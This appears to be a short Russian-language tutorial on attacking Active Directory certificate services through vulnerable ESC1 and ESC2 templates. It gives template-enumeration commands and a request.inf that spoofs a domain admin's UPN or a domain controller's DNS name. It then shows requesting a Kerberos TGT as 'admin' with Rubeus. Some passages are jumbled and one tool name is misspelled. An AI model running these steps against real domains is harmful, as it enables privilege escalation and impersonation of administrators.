Атаки на ADCS: Уязвимые шаблоны сертификаты
Уязвимые шаблоны сертификатов являются следствием настроек их параметров, а также настроек самого центра сертификации.В результате выполнения команды
certutil -v -Template > Templates.txt
будет получен файл, содержащий всю информацию о шаблонах сертификатов, который следует проанализировать.Существуют общие признаки использования уязвимых шаблонов.
В параметре
TemplatePropSecurityDescriptor
должны быть права на выпуск сертификата Allow Enroll
. То есть в этом параметре должна быть прописана группа, в которой есть членство или контролируемый пользователь.В параметре
TemplatePropEnrollmentFlags
должен отсутствовать флаг CT_FLAG_PEND_ALL_REQUESTS
. Данный флаг требует подтверждения менеджера на выпуск сертификата.Параметр
TemplatePropEKUs
содержит 1.3.6.1.5.5.7.3.2 Client Authentication
. Также стоит обратить внимание на параметр TemplatePropExtensions
, особенно на Enhanced Key Usage
и Application Policies
. Скорей всего они будут совпадать, но следует помнить, что Application Policies
имеет приоритет над Enhanced Key Usage
.ESC1
Основной признак данного типа уязвимого шаблона сертификата — это параметр
TemplatePropSubjectNameFlags
. Если он содержит флаг CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
, то можно указать альтернативное имя SAN, а затем использовать это имя при запросе TGT билета Kerberos.Если все звезды сошлись требуется создать файл
request.inf
со следующим содержимым:[NewRequest]
Exportable = TRUE
Subject = "CN=user,CN=Users,DC=domain,DC=local"
[RequestAttributes]
CertificateTemplate = "ESC1"
[Extensions]
2.5.29.17 = "{text}"
_continue_ = "upn=domain.local\admin"
Для компьютера SAN будет выглядеть следующим образом:
[NewRequest]Дальше запрос сертификата с помощью
Exportable = TRUE
Subject = " CN=comp,CN=Computers,DC=domain,DC=local"
[RequestAttributes]
CertificateTemplate = "ESC1"
[Extensions]
2.5.29.17 = "{text}"
_continue_ = "dns=dc.domain.local"
certreg.exe
и экспорт с помощью certutil.exe
После выполнения команды
certreq.exe -accept
можно увидеть строку Subject: CN=user, CN=Users, DC=domain, DC=local (Other Name:Principal Name=domain.local\admin)
, которая указывает, что альтернативное имя было установлено для сертификата.И теперь можно запросить TGT билет Kerberos с помощью Rubeus
Rubeus.exe asktgt /user:admin /certificate:< Thumbprint>
ESC2В данном случае все то же самое, что и с ECS1, за исключением того, что EKU может быть пустым или в нем установлено значение
Any purpose
Проверить параметры TemplatePropEKUs
и TemplatePropExtensions
.Следовательно, сертификат может использоваться для чего угодно, но в нашем случае нас интересует только получение TGT билета Kerberos. Файл
request.inf
будет точно таким же.